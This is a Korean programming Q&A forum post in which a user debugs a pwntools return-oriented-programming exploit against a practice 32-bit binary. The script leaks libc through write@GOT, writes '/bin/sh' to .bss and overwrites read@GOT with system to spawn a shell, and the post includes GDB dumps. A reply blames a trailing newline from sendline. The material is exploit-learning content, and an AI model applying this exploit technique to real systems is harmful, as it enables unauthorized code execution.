ROP 중 read 함수가 작동하지 않습니다. + 백트레이스 추가
p = process('rop')
e = ELF("rop")
#libc = ELF("libc.so.6")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")

bss = 0x0804a024

ROP = p32(e.plt['write']) + p32(0x08048509) + p32(0x1) + p32(e.got['write']) + p32(0x4)
ROP += p32(e.plt['read']) + p32(0x08048509) + p32(0x0) + p32(bss) + p32(0x8)
ROP += p32(e.plt['read']) + p32(0x08048509) + p32(0x0) + p32(e.got['read']) + p32(0x4)
ROP += p32(e.plt['read']) + p32(0x1) + p32(bss)

payload = b'a'*(140) + ROP

print(len(payload))


raw_input()

p.sendline(payload)

write_addr = u32(p.recvn(4))
print(hex(write_addr))

libc_addr = write_addr - libc.symbols['write']
system = libc_addr + libc.symbols['system']

print(hex(system))

raw_input()

p.sendline(b'/bin/sh\x00')

raw_input()
p.sendline(p32(system))

p.interactive()

대충 write로 라이브러리 유출하고 첫번째 read로 bss 영역에 /bin/sh 입력, 두번째 read로 GOT overwrite를 하게 코드를 짰습니다.

문제는 기존에 있는 read와 ROP로 삽입한 첫번째 read는 제대로 작동하는데 마지막 read가 제대로 동작하지 않습니다.

----------------------------------registers-----------------------------------]
EAX: 0x8 
EBX: 0x0 
ECX: 0x804a024 ("/bin/sh")
EDX: 0x8 
ESI: 0x0 
EDI: 0x804a024 ("/bin/sh")
EBP: 0x8 
ESP: 0xffcc1b48 --> 0x8048509 (<__libc_csu_init+89>:    pop    esi)
EIP: 0xf7e63f70 (<__GI___libc_read>:    push   esi)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0xf7e63f6b:  xchg   ax,ax
   0xf7e63f6d:  xchg   ax,ax
   0xf7e63f6f:  nop
=> 0xf7e63f70 <__GI___libc_read>:       push   esi
   0xf7e63f71 <__GI___libc_read+1>:     push   ebx
   0xf7e63f72 <__GI___libc_read+2>:     sub    esp,0x14
   0xf7e63f75 <__GI___libc_read+5>:     mov    ebx,DWORD PTR [esp+0x20]
   0xf7e63f79 <__GI___libc_read+9>:     mov    ecx,DWORD PTR [esp+0x24]
[------------------------------------stack-------------------------------------]
0000| 0xffcc1b48 --> 0x8048509 (<__libc_csu_init+89>:   pop    esi)
0004| 0xffcc1b4c --> 0x0 
0008| 0xffcc1b50 --> 0x804a00c --> 0xf7e63f70 (<__GI___libc_read>:      push   esi)
0012| 0xffcc1b54 --> 0x4 
0016| 0xffcc1b58 --> 0x8048310 (<read@plt>:     jmp    DWORD PTR ds:0x804a00c)
0020| 0xffcc1b5c --> 0x1 
0024| 0xffcc1b60 --> 0x804a024 ("/bin/sh")
0028| 0xffcc1b64 --> 0xa ('\n')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, __GI___libc_read (fd=0x0, buf=0x804a00c <read@got.plt>, nbytes=0x4) at ../sysdeps/unix/sysv/linux/read.c:25
25      in ../sysdeps/unix/sysv/linux/read.c



#0  __GI___libc_read (fd=0x0, buf=0x804a00c <read@got.plt>, nbytes=0x4) at ../sysdeps/unix/sysv/linux/read.c:25
#1  0x08048509 in __libc_csu_init ()
#2  0x00000001 in ?? ()
#3  0x0804a024 in __dso_handle ()
#4  0x0000000a in ?? ()
#5  0xffae2428 in ?? ()
Backtrace stopped: previous frame inner to this frame (corrupt stack?)

GDB로 문제가 생긴 두번째 read에 break를 건 상태입니다.

[----------------------------------registers-----------------------------------]
EAX: 0x1 
EBX: 0x0 
ECX: 0x804a00c --> 0xf7e63f0a (nop)
EDX: 0x4 
ESI: 0x0 
EDI: 0x804a024 ("/bin/sh")
EBP: 0x8 
ESP: 0xffcc1b4c --> 0x0 
EIP: 0x8048509 (<__libc_csu_init+89>:   pop    esi)
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048503 <__libc_csu_init+83>:      jne    0x80484e8 <__libc_csu_init+56>
   0x8048505 <__libc_csu_init+85>:      add    esp,0xc
   0x8048508 <__libc_csu_init+88>:      pop    ebx
=> 0x8048509 <__libc_csu_init+89>:      pop    esi
   0x804850a <__libc_csu_init+90>:      pop    edi
   0x804850b <__libc_csu_init+91>:      pop    ebp
   0x804850c <__libc_csu_init+92>:      ret    
   0x804850d:   lea    esi,[esi+0x0]
[------------------------------------stack-------------------------------------]
0000| 0xffcc1b4c --> 0x0 
0004| 0xffcc1b50 --> 0x804a00c --> 0xf7e63f0a (nop)
0008| 0xffcc1b54 --> 0x4 
0012| 0xffcc1b58 --> 0x8048310 (<read@plt>:     jmp    DWORD PTR ds:0x804a00c)
0016| 0xffcc1b5c --> 0x1 
0020| 0xffcc1b60 --> 0x804a024 ("/bin/sh")
0024| 0xffcc1b64 --> 0xa ('\n')
0028| 0xffcc1b68 --> 0xffcc1bc8 --> 0xffcc1be4 --> 0xffcc28b1 --> 0x706f72 ('rop')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08048509 in __libc_csu_init ()

ni를 계속 입력해서 진행하다보면 그대로 RET를 실행해 libc_csu_init() 이라는 곳으로 빠집니다.
read 함수 내에서 ret가 실행됬다면 스택에 있는 가젯으로 옮겨져야 할텐데요..

애초에 아무 입력도 받지 않고 ret로 가버립니다..

EDI: 0x0 
EBP: 0xffcc17dc --> 0x0 
ESP: 0xffcc17c0 --> 0xffcc17dc --> 0x0 
EIP: 0xf7f79559 (<__kernel_vsyscall+9>: pop    ebp)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0xf7f79553 <__kernel_vsyscall+3>:    mov    ebp,esp
   0xf7f79555 <__kernel_vsyscall+5>:    sysenter 
   0xf7f79557 <__kernel_vsyscall+7>:    int    0x80
=> 0xf7f79559 <__kernel_vsyscall+9>:    pop    ebp
   0xf7f7955a <__kernel_vsyscall+10>:   pop    edx
   0xf7f7955b <__kernel_vsyscall+11>:   pop    ecx
   0xf7f7955c <__kernel_vsyscall+12>:   ret    
   0xf7f7955d:  nop
[------------------------------------stack-------------------------------------]
0000| 0xffcc17c0 --> 0xffcc17dc --> 0x0 
0004| 0xffcc17c4 --> 0x0 
0008| 0xffcc17c8 --> 0xffcc17dc --> 0x0 
0012| 0xffcc17cc --> 0xf7da6e02 (<__GI_raise+194>:      mov    eax,DWORD PTR [esp+0x10c])
0016| 0xffcc17d0 --> 0xf7fa6000 --> 0x2af3c 
0020| 0xffcc17d4 --> 0x6 
0024| 0xffcc17d8 --> 0xf7f7b594 --> 0x74725f00 ('')
0028| 0xffcc17dc --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGABRT
0xf7f79559 in __kernel_vsyscall ()

#0  __GI___libc_read (fd=0x0, buf=0x804a00c <read@got.plt>, nbytes=0x4) at ../sysdeps/unix/sysv/linux/read.c:25
#1  0x08048509 in __libc_csu_init ()
#2  0x00000001 in ?? ()
#3  0x0804a024 in __dso_handle ()
#4  0x0000000a in ?? ()
#5  0xffae2428 in ?? ()
Backtrace stopped: previous frame inner to this frame (corrupt stack?)

c를 눌러서 그대로 진행하면 이런식으로 그냥 멈춰버립니다...

ㅠㅠ

작성자 정보
답변 1
avatar
Sechack
CTF First Place

페이로드는 맞는것같고 제생각에는 sendline함수를 써서 /bin/sh\x00을 입력할때 사실상 /bin/sh\x00\n을 보내게 되면서 전송하는 데이터가 9byte가 되고 read함수는 받을 수 있는 최대 크기가 8바이트로 설정되어있으니까 두번째 read가 \n으로 인해서 스킵되면서 익스가 잘 안되는것 같습니다. send함수로 바꿔주시면 될것같습니다. 만약 바꿔도 잘 안되실 경우에는 Sechack#1869 여기로 DM주시면 도와드리겠습니다.

2021.10.23. 17:11
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기